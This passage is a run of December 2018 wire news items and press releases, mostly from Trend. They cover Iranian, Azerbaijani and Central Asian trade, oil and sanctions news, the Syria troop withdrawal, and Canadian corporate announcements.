Gholamreza Suleymani, managing director of the Industrial Zone. He noted that work is underway in the Industrial Zone for ensuring the livestock import and two large refrigerator compartments will be built for this purpose, Trend reports citing IRNA. Suleymani pointed out that the country needs to import livestock by the end of the year in order to balance the market. Corresponding licenses are needed from the veterinary bodies of the two countries for ensuring livestock imports from Trabzon, he added. Livestock import is necessary for supporting the regions economic development. Iran intends to use the potential of Maku Free Trade and Industrial Zone in livestock imports from Turkey. Both Turkish and Iranian economy will benefit from this, said Suleymani. It is necessary to follow the rules of Turkey in livestock imports from Trabzon and it is very important for us to get support from Trabzon governor for accelerating this process. The award recognizes the facilitys participation in the utilitys Industrial Energy Optimization Program, resulting in a reduction of energy usage and cost savings The New Holland manufacturing facility in Saskatoon, Saskatchewan earned the Leadership in Energy Management award for its efforts in sustainability, efficiency and continuous improvement from SaskPower, the principal electric utility company in Saskatchewan, Canada. The New Holland facility, CNH Industrials (NYSE: CNHI /MI: CNHI) sole manufacturing site in Canada, achieved a 25 percent reduction in electricity consumption since 2012, leading SaskPower to name the facility as the most proactive Industrial Energy Optimization Program (IEOP) participant in identifying and implementing energy savings projects. Sustainability is at the core of our manufacturing processes and facility management. By using our company-wide World Class Manufacturing (WCM) principles to drive energy conservation, waste reduction and workplace accessibility, we were able to achieve this position in SaskPowers IEOP, said Rob Thomas, Saskatoon facilities manager. We are very proud of this accomplishment and will continue to strive to become even more efficient, Thomas said. CNH Industrial participates in the WCM program which is one of the global manufacturing industrys highest standards for the integrated management of manufacturing plants and processes. It is a pillar-structured system based on continuous improvement, designed to eliminate waste and loss from the production process by identifying objectives such as zero injuries, zero defects, zero breakdowns and zero waste. The New Holland facility, which produces planting and seeding equipment, and pick-up headers, was the first participant in SaskPowers Industrial Energy Optimization Program (IEOP) in 2012. Since then, the facility has achieved efficiency milestones including the first ISO 50001 certification in Saskatchewan. The certification is earned by using energy more efficiently through the development of an energy management system. Through the IEOP, we provide technical assistance to help identify and develop opportunities for increasing cost savings and reducing energy. We also provide financial incentives to turn those opportunities into action, said Dallas Munro, IEOP manager at SaskPower. We are excited about the New Holland facilitys efficiency achievements. The results show other organizations that participation in the IEOP can increase efficiencies through the implementation of cost effective projects, Munro said. CNH Industrial has 11 manufacturing plants, 12 research and development centers, and a workforce of 9,000 people in North America. The Company designs, produces and sells machines for work and is present in all major markets worldwide giving it a unique competitive position. Burr Ridge, December 20, 2018 Attachments Baku, Azerbaijan, Dec. 20 By Sara Israfilbayova Trend: The Agency for Development of Small and Medium-Sized Enterprises (SMEs) of Azerbaijan and BP will jointly develop the SME sector in Azerbaijan, according to a memorandum signed Dec. 20 between the Agency and BP, Trend reports. The memorandum was signed by Head of the Agency Orkhan Mammadov and BP Azerbaijan Communications, External Affairs, Strategy and Region Vice President Bakhtiyar Aslanbayli. During the signing ceremony, Mammadov noted that the Agency is successfully implementing the tasks set by the head of state, and has already begun to implement strategic projects. In turn, Aslanbayli gave information about the projects being implemented by BP in order to develop SMEs in Azerbaijan. --- Follow the author on Twitter: @IsrafilbekovaS Baku, Azerbaijan, Dec. 20 Trend: The decree signed by Azerbaijani President Ilham Aliyev On improving leasing activities in agriculture sector and state support to agriculture is an important component of the reforms carried out by the president, Trend reports referring to the Agriculture Ministry. Over the past 14 years, via Agroleasing OJSC, Azerbaijan has been carrying out activities to form and improve the stock of agriculture equipment and pedigree animals. During this period, about 44,000 agriculture equipment were imported and sold to farmers at reduced prices. During the period, over 35,000 heads of pedigree cattle were imported and leased on preferential terms, and 795,000 tons of fertilizers and 300,000 liters of pesticides were sold with discounts. In accordance with the decree, the benefits on agricultural equipment and pedigree cattle will be provided to all suppliers. Sales of equipment and pedigree cattle will be carried out not by Agroleasing OJSC, but by supplier companies. As a result, competition in the agricultural machinery market will increase and prices will decrease. Agroleasing's portfolio, equipment and functions on application of benefits on pedigree cattle will be transferred to the Agency for Agriculture Credits and Development. Agroleasing OJSC wont participate in the sale of agricultural machinery and pedigree cattle, but will become one of the market participants carrying out only the sale of fertilizers and pesticides. The leasing of agricultural equipment and pedigree cattle will now be processed not at Agroleasing OJSC, but at authorized banks. In accordance with the decree, agrotechnical services at Agroleasing OJSC will be gradually privatized. The privatization will have a positive impact on the quality of agriculture services. Baku, Azerbaijan, Dec.20 By Leman Zeynalova, Elnur Baghishov Trend: Iran has banned the export of butter, various cereals and some agricultural products from December 22, said Director General of the Islamic Republic of Iran Customs Administration's Export Affairs Division Ali Akbar Shamani. The country will stop the exports of butter, peas, brown beans, red beans and other beans, lentils, and other grains in order to meet the domestic demand and balance the market, Trend reports citing SNN. Earlier, Payam Naser Qodsi, an official with Iran's Trade Promotion Organization, said that in the first seven months of the current Iranian year (started March 21), Iran exported 3.673 million tons of agricultural products worth $3.351 billion. Compared to the same period of previous year, the exports increased 16.5 percent in terms of value and 18 percent in terms of weight, Qodsi said. In last six years, there has been a growth in agricultural exports, excluding raisins and pistachios. "Date export has kept the upward trend. So, during the first seven months of the current year, Iran exported 151,000 tons of dates worth $179 million. The main market for Iranian dates is India. In 2017 and 2018, India was the largest date importing country in the world. And this proves that we are aiming at the right market," he added. Baku, Azerbaijan, Dec. 20 Trend: The Supervisory Board of the State Oil Fund of Azerbaijan (SOFAZ) held a meeting chaired by Azerbaijans prime minister, head of the SOFAZ Supervisory Board, Novruz Mammadov, where the draft budget of the Fund for 2019 was discussed, Trend reports with reference to SOFAZ. The Supervisory Board reviewed the draft budget of SOFAZ for 2019, considering the findings of the Chamber of Accounts of Azerbaijan, including the information provided by Executive Director of SOFAZ on the Funds management-related expenditures. At the meeting, it was considered expedient to determine SOFAZ budget revenues in 2019 at the level of 15,450.1 million manats, expenditures at 11,595.2 million manats, including SOFAZ management-related expenditures worth 30.9 million manats. Following the discussions, the draft SOFAZ budget, including the draft guidelines for the use of funds (including investment policy), and estimates of the SOFAZ annual expenditures for managing funds, together with the conclusion of the Chamber of Accounts, were recommended for submitting to the Azerbaijani president for approval. At the meeting, amendments to the Rules for Storage, Placement and Management of SOFAZ Currency Funds, recommended for submitting for approval to the Azerbaijani president, were adopted. Tehran, Iran, Dec.20 Trend: Iran's National Iranian Oil Company, in response to a Chilean prosecutor's inquiring about Iran's alleged polluted oil, and announced that Iran exports around 1 billion barrels of oil to various countries annually, and so far no similar case has been raised by any country. On Wednesday, the National Iranian Oil Company (NIOC) denied any links between its crude exports to Chile and the noxious fumes. NIOC said international inspectors monitor the flow, loading and export of its oil and issue certificates which allow continuation of the exports. "Iran's oil supplies to various Asian, European and South American countries, and the records of these exports can be cited by all countries, NIOC said in a statement, Trend reports via Shana news agency. Every year, inspectors from international standard agencies attend monitoring of Iran's testing, loading and exportation processes, carefully considering all issues, and issuing certificates for oil exports, the statement said. "Iran's export terminals have the most up-to-date laboratories and devices for measuring the quality and quantity of oil, and oil exports are always being studied at different hours of the day," NIOC said. The process of oil loading is fully monitored by the two sides (the seller and the buyer), and the two sides, along with a leased oil tanker expert, will carefully examine all the issues involved in the rate and quality of the oil on the basis of negotiations and agreement. NIOC quoted Chile's prosecutor's claim and remind that the "Chilean refining company, ENAP, has denied its prosecutor's claims." "Chile's prosecutor's office has not yet filed a charge against Iran and is only considering probabilities," said the report. According to a Reuters report, a total of 508 people, most of them children, sought treatment in Quintero and nearby Puchuncavi in August after residents reported a strong smell in the air. Chilean law enforcement officials are investigating Iranian crude oil as a possible source of the odour. Baku, Azerbaijan, Dec. 20 By Fikret Dolukhanov Trend: Uzbekistan and Canada are planning to deepen cooperation between the two countries in the trade and investment spheres, Trend reports on Dec. 19 referring to the Foreign Ministry of Uzbekistan. The statement was made during the roundtable in Toronto. The Embassy of Uzbekistan in the United States signed a memorandum of cooperation with the Canada Eurasia Russia Business Association (CERBA). The document also provides for the exchange of information in promising spheres of economic cooperation and changes in legislation in aimed at supporting foreign business. The event was attended by representatives of over 40 companies, in particular, Bombardier (aircraft industry), Behlen (construction), HATCH (engineering), Dentons (consulting services), SkyPower (solar energy), Phoenix Geophysics (mining industry) and others. Uzbek Ambassador Javlon Vakhabov and CERBA Chairman Gilles Breton reached an agreement to organize a trade mission to Uzbekistan in May 2019, which will consist of companies in the oil and gas industry of Alberta, Canada. The Uzbek Embassy also held a presentation of the investment potential of the country in Montreal. The event was dedicated to prospects for cooperation in the areas of agriculture, mining, information technology, engineering, service, and others. An agreement was reached on the participation of the Uzbek delegation in March at the world's largest exhibition of the mining industry, PDAC, in Toronto. --- Follow the author on Twitter: @FDolukhanov Baku, Azerbaijan, Dec. 20 By Rashid Shirinov Trend: Kazakhstan intends to fully comply with its obligations under the OPEC+ deal, the Energy Ministry of Kazakhstan told Kazakh media, Trend reports. On December 7, 2018, the 5th OPEC and non-OPEC ministerial meeting was held, which resulted in a decision to limit the level of production of OPEC+ countries for six months starting from January 2019. "From the very beginning, Kazakhstan expressed readiness to join this decision and the country intends to take all necessary measures to achieve its commitments to reduce oil production by 40,000 barrels per day," the ministry said. It also noted that in the 4th quarter of 2018 there was a decrease in world oil prices, which, along with geopolitical factors, was influenced by growing uncertainty in the world economy, leading to an overall decrease in the growth rates of oil and oil products consumption. "In this regard, in order to maintain the balance of the world oil market, the OPEC+ countries agreed on the need to reduce production by 1.2 million barrels per day (800,000 barrels per day for OPEC countries and 400,000 barrels per day for non-OPEC countries)," the ministry said. --- Follow the author on Twitter: @ShirinovRashid Baku, Azerbaijan, Dec. 20 By Taleh Mursagulov - Trend: Total capital of the Azerbaijani insurance company AtaInsurance decreased due to a sharp increase in sale of insurance products, Orkhan Mammadov, first deputy chairman of the Board of AtaInsurance, told Trend Dec. 20. He was commenting on the suspension of the reinsurance license. Mammadov noted that due to a sharp increase in sales, AtaInsurance significantly increased its reserves, and this affected reduction in total capital. He said that according to the requirements of the legislation, the authorized capital of the insurance company should be 5 million manats for conducting insurance activities and another 5 million manats for conducting reinsurance activities. Our total capital always exceeded this amount, but at the moment it has become slightly below 9 million manats and we think that this is temporary, Mammadov said. He noted that with stabilization of sales of insurance products in the near future it is expected that the companys total capital will again exceed 10 million manats and AtaInsurance will continue to conduct its reinsurance activities. Earlier, the Board of Directors of the Financial Market Supervisory Authority of Azerbaijan (FIMSA) suspended AtaInsurances license for reinsurance activities for five months due to the non-compliance of the companys total capital with minimum requirements. (1.7 AZN = 1 USD on Dec. 20) --- Follow the author on Twitter: @TalehMursagulov Baku, Azerbaijan, Dec. 20 By Ilhama Isabalayeva - Trend: In January-November 2018, over 2.633 million foreigners or stateless persons from 195 countries arrived in Azerbaijan, which is 6.1 percent more compared to the same period last year, Trend reports referring to the State Statistics Committee of Azerbaijan. Russia accounted for the 31.1 percent of the arrivals, Georgia - 20.9 percent, Turkey - 10.1 percent, Iran - 8.6 percent, the UAE - 3.1 percent, Saudi Arabia - 2.7 percent, Iraq - 2.4 percent, Ukraine - 2 percent, Israel - 1.5 percent, the rest of the world - 17.5 percent and the stateless persons accounted for 0.1 percent. Among those who visited Azerbaijan during the reported period, men accounted for 65.7, while women accounted for only 34.3 percent Some 7.1 percent of foreigners and stateless persons, who visited Azerbaijan in January-November, arrived in January, 6.4 percent in February, 10.5 in March, 8.3 in April, 7.9 in May, 10.2 in June , 12.5 - in July, 12.2 - in August, 8.8 - in September, 8 percent - in October and 8.1 - in November. During the reported period, the greatest increase among those who arrived in Azerbaijan was observed among the citizens of the Gulf countries (except the UAE and Iran). Compared to the same period of the previous year, the number of Saudi citizens who arrived in Azerbaijan increased by 2.2 times, Bahraini citizens - 2.1 times, Kuwaiti citizens - 1.9 times, Qataris - 1.6 times, Iraqis - 10.4 percent and Omani citizens by 8.5 percent. The number of Iranian and Emirati tourists decreased by 33.4 and 6.5 percent, respectively. Almost every fifth tourist, who arrived in Azerbaijan from the Gulf region, was a citizen of these countries. As for the tourists from the EU states, during the reported period, their number increased by 7.1 percent and reached 106,500 people, while the number of the tourists from the CIS countries went up by 4.3 percent, reaching 971,300 people. Of the total number of the foreign citizens and stateless persons, 57.1 percent arrived using rail and road transport, 41.9 percent chose traveling by air and only 1 percent opted for the water transport. Baku, Azerbaijan, Dec. 20 By Ilhama Isabalayeva - Trend: In January-November 2018, the number of Azerbaijani citizens who went abroad increased by 18.5 percent compared to the same period of 2017 and reached 4,464,500 people, Trend reports referring to the State Statistical Committee of Azerbaijan. The committee stated that out of the total number of Azerbaijani citizens who visited foreign countries, 33.3 percent went to Iran, 29.1 percent to Georgia, 18.9 percent to Russia, 12.6 percent to Turkey, 1.5 percent to in Ukraine, 0.9 percent to the UAE and 3.7 percent to the rest of the world. Among the Azerbaijani citizens going abroad during the reported period, men accounted for 65.4, while women accounted for only 34.6 percent In January-November 2018, the number of Azerbaijani citizens who visited Iran increased by 69.3 percent, Georgia by 5.5 percent and Turkey by 0.4 percent. The number of those visiting Russia decreased by 0.3 percent. During the reported period, 82.2 percent of the Azerbaijani citizens, who traveled abroad, used rail and road transport, 18 percent - by air and only 0.8 percent opted for water transport. CALGARY, Alberta, Dec. 20, 2018 (GLOBE NEWSWIRE) -- West High Yield (W.H.Y.) Resources Ltd. ("West High Yield" or the "Company") (TSXV: WHY) announces that it plans to close the current tranche of its previously announced non-brokered private placement of Units (the "Units") comprised of one Common Share (a Common Share) and one-third of one Common Share Purchase Warrant (a Warrant). Each whole Warrant would entitle the holder to purchase one additional Common Share at an exercise price of $0.50 for a period of one year from the date of issuance of the Warrant. There is no minimum subscription for this offering and a maximum of 5,000,000 Units will be issued at a price of $0.30 per Unit for gross proceeds of up to $1,500,000. The Company also advises that after almost three years of collecting environmental data and extensive mine planning and engineering studies, it is in the process of completing and submitting the Companys Application for an Industrial Mineral Mine for its Record Ridge magnesium deposit near Rossland, British Columbia. In other developments, the Company advises that it has concluded a Settlement Agreement with the Alberta Securities Commission (ASC) with respect to the resolution of certain issues arising from News Release issued by the Company on October 5, 2017. A copy of the Settlement Agreement is available on the ASC website at albertasecurities.com. The News Release issued by the Company pertained to a potential transaction for the Company to sell all of its mining assets to a US based company. On November 3, 2017, the Company issued a News Release which clarified the sale agreement to sell its assets. Ultimately, the Company announced that this transaction was terminated on November 7, 2017. The Company also advised that the trading of its shares which had been halted on October 6, 2017 recommenced trading on November 9, 2017. The Company further advises that the Company and its Directors and Officers cooperated with the staff of the ASC and the matter was resolved without a hearing under the Securities Act (Alberta) (the Act). In the settlement, the Company acknowledged that it was in breach of certain sections of the Act resulting from the October 5, 2017 News Release. The Company also advises that staff of the ASC did not find any evidence that the Company or its Directors and Officers intentionally made any misleading statements nor that the Company or any of its Directors and Officers personally received any financial gain, or acted with an intention to receive financial gain, directly or indirectly, in connection with the statements in the October 5, 2017 News Release and received partial credit for cooperating with the ASC. In the settlement, the Company agreed to pay a monetary settlement of Two Hundred Thousand Dollars and provided an undertaking to ensure that the Directors and Officers of the Company are provided with training in best practices for public company governance and disclosure within one year. About West High Yield West High Yield is a publicly traded junior mining exploration company focused on the acquisition, exploration and development of mineral resource properties in Canada with a primary objective to locate and develop economic gold, nickel and magnesium properties. For further information please contact: Frank Marasco President and Chief Executive Officer West High Yield (W.H.Y.) Resources Ltd. Telephone: (403) 660-3488 Facsimile: (403) 206-7159 Email: frank@whyresources.com Dwayne Vinck Chief Financial Officer West High Yield (W.H.Y.) Resources Ltd. Telephone: (403) 257-2637 Facsimile: (403) 206-7159 Email: vinck@shaw.ca Reader Advisory This press release contains forward-looking statements and forward-looking information within the meaning of applicable securities laws. The use of any of the words "expect", "anticipate", "continue", "estimate", "objective", "ongoing", "may", "will", "project", "should", "believe", "plans", "intends" and similar expressions are intended to identify forward-looking information or statements. More particularly and without limitation, this press release contains forward looking statements and information concerning the terms of the proposed non-brokered private placement of Units, the proposed use of proceeds and the Company's business plans. The forward-looking statements and information are based on certain key expectations and assumptions made by the Company. Although the Company believes that the expectations and assumptions on which such forward-looking statements and information are based are reasonable, undue reliance should not be placed on the forward looking statements and information because the Company can give no assurance that they will prove to be correct. Forward-looking information is based on the opinions and estimates of management at the date the statements are made, and are subject to a variety of risks and uncertainties and other factors that could cause actual events or results to differ materially from those anticipated in the forward-looking information. Some of the risks and other factors that could cause the results to differ materially from those expressed in the forward-looking information include, but are not limited to: general economic conditions in Canada and globally; industry conditions, including governmental regulation; failure to obtain industry partner and other third party consents and approvals, if and when required; the availability of capital on acceptable terms; the need to obtain required approvals from regulatory authorities; stock market volatility; competition for, among other things, skilled personnel and supplies; changes in tax laws; and the other factors. Readers are cautioned that this list of risk factors should not be construed as exhaustive. Readers are cautioned not to place undue reliance on this forward-looking information, which is given as of the date hereof, and to not use such forward-looking information for anything other than its intended purpose. The Company undertakes no obligation to update publicly or revise any forward-looking information, whether as a result of new information, future events or otherwise, except as required by applicable law. Neither the TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this press release. Not for distribution in the United States. This news release does not constitute an offer to sell or a solicitation of an offer to buy any securities in the United States. The securities of the Company will not be registered under the United States Securities Act of 1933, as amended (the "U.S. Securities Act") and may not be offered or sold within the United States or to, or for the account or benefit of U.S. persons except in certain transactions exempt from the registration requirements of the U.S. Securities Act. Baku, Azerbaijan, Dec. 20 By Elnur Baghishov - Trend: All planes of Iran Air, even sold or non-operational ones, have been included to the US sanctions list, said Farzaneh Sharafbafi, CEO of Iran Air, Trend reports via ILNA. She underlined that Iran Air hasnt backed off from any of the contracts to purchase passenger planes from Airbus. Denouncing the US unfair move to blacklist Iran Air and hamper international cooperation with Iran, she said Iran has used various methods to maintain flight services to Europe despite the US sanctions. Sharafbafi said Iran Air could take delivery of 5 ATR turboprops after the Office of Foreign Assets Control (OFAC) of the US Department of the Treasury extended a permission for cooperation with Iran, and called on the European Union to get a similar permission from the OFAC to allow the delivery of Airbus planes to Iran. She added that Iran has received a total of 16 passenger planes since the 2015 nuclear deal took effect, including three from Airbus and 13 from Franco-Italian turboprop maker ATR. The US decision to withdraw from the 2015 nuclear deal with Tehran, known as the Joint Comprehensive Plan of Action (JCPOA), and reinstate sanctions resulted in the collapse of about $38 billion in plane deals between Tehran and Western firms, with Airbus suffering greater damages than its US rival Boeing. During a January 2016 visit to Paris by Iranian President Hassan Rouhani, Tehran signed a major contract with Airbus worth about $27 billion to buy 118 planes. Later in June that year, Iran sealed another deal worth around $25 billion with Boeing, for the purchase of 100 passenger planes. In December 2016, the deal with Boeing was finalized, allowing Iran to buy 80 planes within 10 years. Tehran, Iran, Dec.20 Trend: Iran's private sector looks to get involved in doing reconstruction projects in Syria, which are estimated to need some $600 billion worth of investment. "The estimates show that the reconstruction of Syria requires some $600 billion, while some 150 billion is needed for reconstruction of houses," Iran's minister of Roads and Urban Development Amir Amini said, Trend reports via ILNA. Amini also noted that Iran's government wouldn't allocate public resources to Syria's reconstruction projects. "Iran's investment in foreign countries should be according to their regulation", he added. On the other hand, Iran's private sector is already getting involved. Amini said that the private sector is investing in different fields there, including supply of construction materials (specially cement) in Syria. "There are good investment opportunities in Syria and the only problem is the weak communication between investors and the Syrian government," he said. "The investments are not allocated from public sources, in these projects, Iran have signed protocols and long term memorandum of understanding that are to be signed by Syrian government, so the Iranian private sector can invest separately in Syria," he explained. Amini mentioned the presence of Russian investors in Syria's reconstruction projects. "Although Russians are present there as well, Syria has close tendency toward Iran due to common thoughts and religion. "Iran's government would introduce the private sector to Syrian government. During recent official trips to Syria representatives of private sector have accompanied the Iranian government representatives," he said. "The Khatam-al Anbiya Construction Headquarters - an Iranian engineering firm controlled by the Iranian Revolutionary Guard Corps - would also be present in Syria as an investor," he added. "Iranian contractors have also entered Iraq and Turkmenistan markets. Several transportation projects have been initiated in these countries through Iranian investments," he added. Tehran, Iran, Dec. 20 Trend: Rouhani and Erdogan expressed concern about the effects and damage of unilateral US sanctions on people's lives, cooperation, prosperity and regional stability. President of the Islamic Republic of Iran Hassan Rouhani and President of the Republic of Turkey Recep Tayyip Erdogan in a joint statement issued at the end of the fifth meeting of the High Council of Strategic Relations insisted that any necessary steps to increase trade between them will be taken by strengthening the existing mechanisms, Trend reports citing Tasnim. The presidents of the two countries also jointly expressed their deep regret over the withdrawal of the US from JCPOA and unfair sanctions imposed by the US on Iran, and expressed their concerns over the effect of the sanctions on the lives of innocent people and on regional trade, prosperity and stability. The foreign ministers of the two countries attended the meeting as coordinators. The two sides expressed their desire to take any necessary steps to increase trade by strengthening existing mechanisms, such as the joint economic commission, identifying new areas of economic cooperation and developing appropriate measures to bring about closer business partnerships. Providing better conditions for investors in the two countries, facilitating the transportation of goods and enhancing private sector participation in business and cooperation were also the parts of the final joint statement. The two sides reaffirmed the need for full implementation of JCPOA with the commitments of all parties. Iran and Turkey emphasized the importance of working with international organizations, such as the Organization of the Islamic Cooperation (OIC), the Economic Cooperation Organization (ECO) and the D-8, both of which are their members. A document on press and media cooperation and a memorandum of understanding on health cooperation were signed in the presence of the presidents. Tehran, Iran, Dec. 20 Trend: The head of the Central Bank of the Islamic Republic of Iran announced that the Turkish president's order will quickly lift the existing banking barriers between Tehran and Ankara. According to the constructive talks between the two presidents, there are certainly significant developments in the economic, commercial and banking relations between Iran and Turkey, the CBI Governor Abdol Nasser Hemmati said after a meeting between the Iranian and Turkish delegates in the presence of the presidents of the two countries in Ankara on Tuesday, Trend reports citing IRNA. Iranian President Hassan Rouhani left for Ankara yesterday to meet Turkish President Recep Tayyip Erdogan and to attend the fifth session of the Strategic Council of the two countries. "The issues of banking between the two countries were raised, the CBI governor stated. The Turkish president had a very positive view about the development of business and the smooth functioning of the banking system, and emphasized the resolution of problems, prompting to quickly remove the barriers to the banking system, he said. On the sidelines of the Iranian president's visit to Turkey, two memorandums of understanding on health and communications were signed with the Turkish side. Based on these two memorandums, Iran and Turkey will develop their cooperation in health and communications. Sweden Foreign Minister Margot Wallstrom said on Wednesday that her country and other European states are interested to promote commercial ties with Iran, Trend reports referring to IRNA. She made the remarks in a meeting with Irans Deputy Foreign Minister Seyyed Abbas Araqchi, who is currently in Stockholm to attend the fourth round of Iran-Sweden political consultations. Stressing her countrys political resolve to maintain talks, cooperation and interaction with Iran in various fields, she said, JCPOA is an international accord based on multilateralism from which all countries benefited. Despite US withdrawal from the JCPOA, European countries, including Sweden have underlined preserving the deal and are trying to enhance their economic and trade ties with Iran, she said. Wallstrom also appreciated Iran for its goodwill and support to Yemeni-Yemeni talks recently held in Stockholm and stressed the necessity for continuing cooperation with Iran. Araqchi, for his part, thanked Sweden for its constructive and positive stances regarding development of cooperation and interaction with Iran and actively supporting JCPOA. He called for further support to JCPOA by the European states. Irans regional policy has always based on interaction in line with establishing peace, stability, development and diplomatic processes, as it will continue its constructive role for Yemeni-Yemeni talks success, he said. Araqchi and his Swedish counterpart Annika Soder held fourth round of political consultations to discuss bilateral ties and latest developments on JCPOA. President Hassan Rouhani said on Thursday that the Islamic Republic of Iran through a sound management will be able to chance sanctions into opportunity to tie Iran-Turkey economy, Trend reports citing IRNA. According to the presidential website, Rouhani made the remarks in a meeting with Iranian businessmen in Turkey. 'Iran is ready to meet Turkey's energy demands in long term while once again described the US economic sanctions against the country as rough and unfair,' he added. President Rouhani said that only the international rules and regulations and nations' interests should be of prime importance and no other power in the world should be able to leave 'impact on our economy as we are able through sound management to change all threats into opportunity' to bring the two sides economies much closer. Baku, Azerbaijan, Dec. 20 By Rufiz Hafizoglu - Trend: President Donald Trumps statement about the US withdrawal of troops from Syrias northern regions was perceived as a real victory amid the preparation for a new military operation by the Turkish Armed Forces in Syria against PYD/YPG, a Syrian wing of the Kurdistan Workers' Party (PKK). A number of Turkish political analysts perceived the US decision as a result of Turkeys political pressure on Washington. Of course, the withdrawal of the US military contingent from northern Syria will simplify the operations of the Turkish Armed Forces in the fight against the PYD/YPG terrorists, but it is early to make success reports. The withdrawal of the US military from Syria does not mean that the US will take away the weapons that once were given to the PYD/YPG fighters. Earlier, the US authorities have repeatedly promised Ankara that as soon as the fight against "Islamic State" (IS) terrorists ends, the Americans will take away their weapons from PYD/YPG. Ankara has always been suspicious of that. There is a probability that even if the US withdraws its troops from Syrias northern regions, Washington will not keep its promises regarding taking away weapons from the PYD/YPG militants. It is quite obvious that it would be extremely thoughtless to believe that the US would simply leave Syria, which was planned to be used as a springboard against Iran, especially taking into account the fact that the withdrawal of the US military will unambiguously strengthen the positions of Turkey, Iran and Russia in the region, which directly contradicts Washingtons interests. As is known, terrorist organizations have always been puppets in the hands of a number of countries and from time to time their masters change. Presently, PYD/YPG is a real force in northern Syria. Here a question arises. Who will be the master of the Kurdish terrorists after the withdrawal of the US military from the region? Presently, the US military bases are located in 10 settlements in northern Syria. No exact date for the withdrawal of troops has been determined. Moreover, presently, the French military contingent, despite its small number, is still in northern Syria. Taking into account all the abovementioned facts, it is possible to say that the statements voiced in Washington about withdrawal of the US contingent from Syrias northern regions may be another US attempt to delay the beginning of the military operation of the Turkish Armed Forces in northern Syria, by forcing Ankara to wait for the withdrawal of troops. --- Rufiz Hafizoglu, deputy editor-in-chief of Trend Follow the author on Twitter: @rhafizoglu Around 1,500 people have already returned to their homes in the liberated suburb of Damascus in Yarmouk, engineer tasked with restoring the town Naem al-Aysad told reporters on Thursday, Trend reports referring to TASS. At the start of November, the Syrian authorities allowed residents to return to Yarmouk, Syrian Deputy Foreign Minister Faisal Mekdad told the media. "Three hundred families, or around 1,500 people, have already returned to the town. We have not yet started restoring houses, but we provide people with water, electricity and food. We allocate some money and food to those who already returned to Yarmouk," al-Aysad said noting that the authorities will start restoration works after barricades are dismantled and debris are cleared. Al-Aysad said that a lot of people want to return to their homes but before they are allowed to move in, engineers have to inspect a building to make sure it is safe. He added that it will take three to five years to restore the town completely since it was seriously damaged when occupied by militants. Israeli Prime Minister Benjamin Netanyahu said on Thursday that he had held a phone call with US President Donald Trump over Iranian military presence in Syria, Trend reports citing Xinhua. The call came a day after Trump announced the US decision to withdraw forces from the war-torn country as the Islamic State (IS) militant group had been defeated. According to a statement released by Israeli Prime Minister's office, the two leaders discussed "ways to continue the cooperation ... against the Iranian aggression." Earlier in the day, Netanyahu vowed to "act very aggressively against Iran's attempts to establish itself in Syria," saying Israel has the backing of the White House in its actions against the Islamic republic. The US withdrawal announcement was seen in Israel as an embarrassment to Netanyahu's foreign policy established on his close ties with Trump. Yair Lapid, leader of the opposition Yesh Atid party and Israeli former finance minister, described the US "surrender" as "a failure of Netanyahu's foreign policy." "It clears the way for Iran's expansion and narrows Israel's ability to bargain with the Russians," he tweeted. Ehud Barak, Israel's former prime minister, said the move exposed Netanyahu's dependence on his ties with US and Russian leaders. "Trump is deserting Syria and the Iranians are celebrating," Barak tweeted. Israel and Syria share a disputed border in the Golan Heights, which Israel seized in the 1967 Middle East War and annexed in a move not recognized internationally. The Israeli military has carried out dozens of airstrikes in recent years against Iranian and Syrian army positions in Syria, as well as convoys of weapons for Hezbollah, a Lebanese Shiite militia. Chinas foreign ministry said on Thursday that a Canadian woman is undergoing administrative punishment for working illegally, after Canadas government said a third Canadian had been detained in China, Trend reports referring to Reuters. Chinese state security agents last week detained two Canadians, former diplomat Michael Kovrig and businessman Michael Spavor, saying they were suspected of endangering state security. The detentions of the Canadians followed the Dec. 1 arrest in Vancouver of Meng Wanzhou, chief financial officer of the Chinese telecommunications giant Huawei Technologies Co Ltd. [HWT.UL]. Meng was arrested at the request of the United States, which is engaged in a trade war with China. Chinese Foreign Ministry spokeswoman Hua Chunying identified the third Canadian as Sarah McIver, who was serving administrative punishment due to illegal employment. She did not elaborate. What I can tell you is that China and Canada are maintaining clear consular communication, Hua told a daily news briefing. When asked if McIvers case was connected to that of Kovrig and Spavor, Hua pointed out that the nature of the cases were different, given the other two were accused of endangering national security. Hua referred further questions on McIver to the Ministry of Public Security. That ministry did not immediately respond to requests for further comment. The Canadian government has not identified the third Canadian, though Canadian media has said the person is McIver and said she was an English teacher being held because of visa complications. Canadian Prime Minister Justin Trudeau urged caution on Wednesday and said he would not be stomping on a table after China detained the third Canadian. Trudeau said he was asking China for more information on the detentions. He said the latest incident was a very separate case from the other two. The Canadian government has said several times it saw no explicit link between the arrest of Meng, the daughter of Huaweis founder, and the detentions of Kovrig and Spavor. But Beijing-based Western diplomats and former Canadian diplomats have said they believed the detentions were a tit-for-tat reprisal by China. China has demanded Mengs immediate release and summoned in the Canadian and U.S. ambassadors to complain about the case. Meng is accused by the United States of misleading multinational banks about Iran-linked transactions, putting the banks at risk of violating U.S. sanctions. She was released on bail in Vancouver, where she owns two homes, while waiting to learn if she will be extradited to the United States. She is due in court on Feb. 6. TORONTO, Dec. 20, 2018 (GLOBE NEWSWIRE) -- Martinrea International Inc. (TSX: MRE) (Martinrea or the Company) announced today that the Company has entered into an automatic share repurchase plan (ASRP) under its current Normal Course Issuer Bid (NCIB). The NCIB commenced on August 31, 2018. The ASRP will be effective as of December 19, 2018. The ASRP will allow the Company, through its broker (Paradigm Capital Inc.), to purchase securities under the NCIB in Company blackout periods, within the trading parameters provided by the issuer under the ASRP. Under the Company's ASRP, its broker may repurchase shares under the NCIB when the Company would ordinarily not be permitted due to regulatory restrictions or blackout periods. As previously disclosed, the NCIB authorizes Martinrea, during the 12-month period commencing August 31, 2018 and ending August 30, 2019, to purchase up to 4,348,479 common shares in the capital of Martinrea (Shares) in total, being approximately 5 percent of the total number of 86,969,584 Shares (as at August 20, 2018). The price at which Martinrea will pay for any such Shares will be the prevailing market price at the time of acquisition. The actual number of Shares which may be purchased pursuant to the Bid will be determined by Martinrea and any shares purchased pursuant to the Bid, including under the ASRP, will be cancelled. As at the close of business on December 20, 2018, since August 31, 2018 Martinrea has repurchased 2,002,480 shares, returning approximately $24 million to shareholders. Martinrea believes that repurchasing its shares may be a good use of funds, as it distributes cash to shareholders and reflects its view that current share prices do not adequately reflect their value in relation to its business prospects. Furthermore, the purchases are expected to benefit all persons who continue to hold Shares by increasing their equity interest in Martinrea as the 